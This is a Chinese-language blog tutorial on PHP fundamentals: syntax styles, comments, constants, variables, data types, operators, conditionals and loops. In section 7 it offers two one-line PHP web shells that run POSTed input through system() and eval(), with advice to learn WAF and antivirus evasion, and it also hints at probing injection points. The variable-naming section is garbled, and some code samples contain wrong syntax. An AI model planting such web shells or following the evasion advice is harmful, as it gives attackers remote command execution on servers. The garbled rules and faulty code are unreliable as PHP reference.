PHP基础(非常适合新手看的基础)

PHP基础:
php基础
1.介绍:
静态网页:通过url直接访问文件
动态网页:通过动态引擎访问文件
特点:
A.交互性:根据要求和选择二动态的改变和响应
B.自动更新
C.因时因人而变:不同时间,不同用户访问不同页面
2.判断伪静态的方法:
将1.html换成1.php或者1.asp测试注入点
3.
bs(brower sever)浏览器去访问服务器 应用:(在线ps)
优点:有浏览器就可以访问,开发低
缺点:开发源码都放在服务器上,胖服务器–瘦服务器
cs()客户端到服务器 应用(qq)
优点:可以开发客户端和服务器端,这时候可以实现负载的均衡
缺点:必须安装一个软件才能访问,开发成本高
4.各类代码风格

php:<?代码?> 或者<?php php代码?>(XML风格)
asp:<% 代码%>
脚本风格:<script language =” php”>代码 </script>
XML风格:<?php 代码?>

5.php相关配置文件
php.ini是php的配置文件,
需要将shorf_open_tag和asp_tags设置成no
6.学习php需要查手册:php manual
7.一句话木马:

<?php
@system($_POST[‘XSS’]);  
>
或者:
<?php
@eval($_POST[‘XSS’]);     //注意:这里@符是硬质错误输出
>

***写木马要学会绕waf免杀 ***
8.注释符:
shell:(#后边有空格是注释,没有空格直接调用)
php:

A.单行注释: //
B.多行注释:(*/。。。*/)注:不能嵌套:不能以?>出现作标志
C.风格注释:(#)不建议

9.输出语句:

A.print:输出成功返回1
B.print_r():输出数组
C.var_dump():输出数据的详细信息,带有数据类型和数据长度
D.echo:输出

10.删除一个变量:

unset $var 删除变量
isset  $var  判断变量是否为空

11.常见常量:
使用定义常量函数:

define(常量名,值,[是否区别大小写])  true表示不区分大小写,默认是false;常量名称默认大写。
PHP5.3以后可以使用 const 定义常量:const 常量名='常量值';

定义常量可以用特殊字符,但是在调用的时候必须用constant关键字调用
预定义常量:

PHP_VERSION  php版本号
PHP_OS   PHP操作系统
PHP_INT_MAX  PHP中整形的最大值

魔术常量:注意:两边的符号是两个_ _而不是一个

__LINE__	          	//获取当前行号
 __FILE__				//文件的完整路径和文件名
 __DIR__				//文件所在的目录
__FUNCTION__        	//函数名称(PHP 4.3.0 新加)。
__CLASS__       		//类的名称
__TRAIT__      			//Trait 的名字
__METHOD__    			//类的方法名
__NAMESPACE__  			//当前命名空间的名称

12.变量:(php中区分大小写)
定义:
变量是可以改变的。
变量是存在名字的。
变量是用来存储数据的。
变量是通过名字来访问数据的。
定义变量的规则:
A. 变量必须以 开 头 , 开头, 符不是变量的一部分,仅表示后面的标识符是变量名。
B. 除了 以 外 , 以 字 母 、 下 划 线 开 头 , 后 面 跟 着 数 字 、 字 母 、 下 划 线 。 C . 变 量 名 区 分 大 小 写 , 以外,以字母、下划线开头,后面跟着数字、字母、下划线。 C. 变量名区分大小写, 线线C.aa和$Aa是两个空间。
常见预定义变量:

$_GET:		获取所有表单以 get 方式提交的数据。
$_POST:		POST 提交的数据都会保存在此。
$_REQUEST:	GET 和 POST 提交的都会保存。
$GLOBALS:	PHP中所有的全局变量
$_SERVER:	服务器信息
$_SESSION:	session会话数据
$COOKIE:	cookie 会话数
$_ENV:		环境信息
$__FILES:	用户上传的文件信息

PHP 有四种不同的变量作用域:

local     
global   关键字
static    作用域
parameter

值传递:将变量保存的值赋值一份然后将新的值给另外一个变量保存:两个变量使用各自的内存,互不干扰(两个变量没有关系)。
引用传递:将变量保存的值所在的内存地址,传递给另外一个变量:两个变量指向同一块内存空间(两个变量是同一个值)。
引用变量举例:
在这里插入图片描述

13.类型数据:

A.在 PHP 中指的是存储的数据本身类型,而不是变量类型。PHP是一种弱类型语言,变量本身没有数据类型PHP 支持8种类型,包括:
4种标量类型,即boolean(布尔型)、integer(整型)、float/doule(浮点型)和sting(字符串类型);
2种复合类型,即array(数组)和object(对象);
2中特殊类型,即resource(资源)和null。

B.类型判断
通过一组类型判断函数,来判断变量,最终返回这个变量所保存数据的数据类型(相同结果为 true,失败为 false):是一组以 is_开头后面跟类型名字的函数:is_类型(变量名)
Bool类型不能用 echo 来查看,可以使用 var_dump结构查看:var_dump(变量1,变量2,…)
举例:

<?php
$a = 1;
var_dump(is_int($a)) ?>

标量数据类型:
boolean(布尔型) 这是最简单的类型。只有两个值,真(true)和假(false)
string (字符串型) 字符串就是连续的字符序列,可以是计算机所能表示的一切字符集合
integer (整型) 整型数据只能包含整数。这些数据类型可以是正数或负数
float (浮点型) 浮点类型用于存储数字,和整型不同的是它有小数位
整数:
进制转换表:

十进制:dec  decimalist
二进制:bin   binary
八进制:oct    octonary
十六进制:hex    hexdecimalist

例如:

echo decbin(123),'<br>';               //十进制转二进制
echo bindec(1111011),'<br>';	//二进制转十进制
echo dechex(123),'<br>';		//十进制转十六进制
echo hexdec('7b'),'<br>';		//十六进制转十进制
echo decoct(123);		//十进制转八进

14.特殊运算符:

c语言中:
取地址:&取地址运算符
取内容:*取内容运算符

A.算数运算符:

加法运算	 +	  $a + $b
减法运算	 -	 $a - $b
乘法运算	 *	 $a * $b
除法运算	/	$a / $b
取余数运算	%	$a % $b

例如:

$num=5;
echo (++$num)+(++$num)+(++$num);	//21   6 7 8
-------------------------

$num=5;
echo ($num++)+($num++)+($num++);	//18  5 6 7

B.比较运算符:

<	小于(左边小于右边,返回结果true)	$m < $n
>	大于(左边大于右边,返回结果true)	$m > $n
<=	小于等于(左边小于或者等于右边,返回结果true)	$m <= $n
>=	大于等于(左边大于或者等于右边,返回结果true)	$m >= $n
==	等于(左边的与右边的相同(大小相同))	$m <== $n
!=	左边的与右边的不同(大小不同)	$m != $n
===	全等于,左边与右边相同:(大小以及数据的类型都要相同)	$m === $n
!==	不全等于,只有大小或者类型不同	$m !== $n

C.逻辑运算符:

&&或and(逻辑与)	$m and $n	  有一个为假即为假
||或or	$m || $n	                有一个为真即为真
!(逻辑非)	!$m$m          当这个条件为假时,输出。。
xor(逻辑或与)	$m xor $n$m$n 一真一假时,返回true

D.字符运算符

echo 'aa'.'bb';		//字符串链接	aabb

15.运算符的优先级:
在这里插入图片描述

If(条件表达式){
	//满足条件后执行的代码段;
}else{
	//不满足条件执行的代码段;
}

例:

<?php
header("Content-Type:text/html;charset=utf-8");
$num = rand(1,10);
if ($num % 2 == 0){
echo "$num".'<br>';
echo '$num 为偶数';
}
else{
echo "$num".'<br>';
echo '$num 为奇数';
}
If(条件表达式1){
	//满足条件表达式1的代码段;
}elseif(条件表达式2){
	//不满足表达式1条件,但是满足表达式2的代码;
}…	//可以使用多个elseif来进行再次条件筛选
else{
	//全部不满足要执行的代码;
}

例:

<?php
header("Content-Type:text/html;charset=utf-8");
$num = rand(1,10);
if ($num % 2 == 0){
	echo "$num".'<br>';
	echo '$num 为偶数';
}elseif($num % 2 !== 0){
	echo "$num".'<br>';
	echo '$num 为奇数';
}
else{
	echo '数据错误';
}
Switch(条件表达式){
	//所有条件判断:逐个进行
	Case 值1:			//当前条件表达式的结果与值1相等(==)
		要执行的代码段;
		Break;		             //匹配成功停止匹配	
	Case 值2:
		要执行的代码段;
		Break;
	…
		Default:			//可以使用类似else的语法:都不匹配
		//匹配失败的代码;
		Break;
}

16.循环语句:

for(初始值;条件;增量){
	//循环体
   }
$sum = 0;
for($i = 1;$i <= 10;$i++){
	$sum += $i;
}
echo $sum;

17.for循环的死循环

<?php
for($i=1; ;$i++){
}   //只要没有循环条件就会是死循环
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值